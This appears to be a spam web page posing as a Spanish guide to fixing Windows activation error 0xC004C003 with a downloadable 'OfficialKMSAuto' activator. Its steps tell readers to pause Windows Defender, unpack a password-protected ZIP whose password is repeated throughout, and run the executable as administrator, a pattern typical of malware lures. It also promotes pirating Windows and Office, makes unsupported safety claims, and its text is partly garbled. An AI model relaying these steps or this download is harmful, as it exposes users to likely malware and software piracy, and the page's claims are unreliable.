Fix 0xC004C003 — Solución de Problemas 2026
Este artículo es la guía completa en español sobre Fix 0xC004C003 en 2026. Fix 'The activation server determined the specified product key is invalid' (0xC004C003) with KMSAuto.
WYqejXiqBi97Este artículo es la guía completa en español sobre Fix 0xC004C003 en 2026. 0xC004C003 means MAK key blocked. Switch to HWID or KMS38 — both fix it instantly.
Step-by-step activation
Follow these steps exactly — the whole process takes under two minutes.
- Pause Windows Defender real-time protection for ~2 minutes
- Extract the ZIP using the password WYqejXiqBi97
- Right-click the executable and choose 'Run as administrator'
- Pick the recommended method (HWID, Ohook or TSforge)
- Wait for 'Successfully activated' then reboot
After activation — what to check
Open elevated CMD and run slmgr /xpr for Windows or ospp.vbs /dstatus from the Office folder. You should see a permanent or 180-day-renewing licensed state.
Why OfficialKMSAuto is the safest choice
Every release is SHA-256 verified and scanned on VirusTotal. The script is open source — every line is auditable. No telemetry, no installer, no scheduled tasks left behind.
Frequently asked questions
▸Is this method free?
Yes — 100% free with OfficialKMSAuto, no surveys, no premium tier.
▸Will it survive Windows updates?
Yes. HWID, Ohook and TSforge persist across feature updates and reinstalls on the same hardware.
▸Is internet required?
Only HWID needs a brief one-time handshake. Ohook, KMS38 and TSforge work fully offline.
▸Does it work on Windows 11 24H2?
Yes. OfficialKMSAuto ships TSforge specifically for 24H2 and Server 2025.
▸What is the archive password?
WYqejXiqBi97 — shown on every download button on this site.
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Download OfficialKMSAuto
Free, safe, open source. Works on Windows 7, 8, 10, 11 and Office 2010–2024.
Download Activator — Free🔐 Archive password: WYqejXiqBi97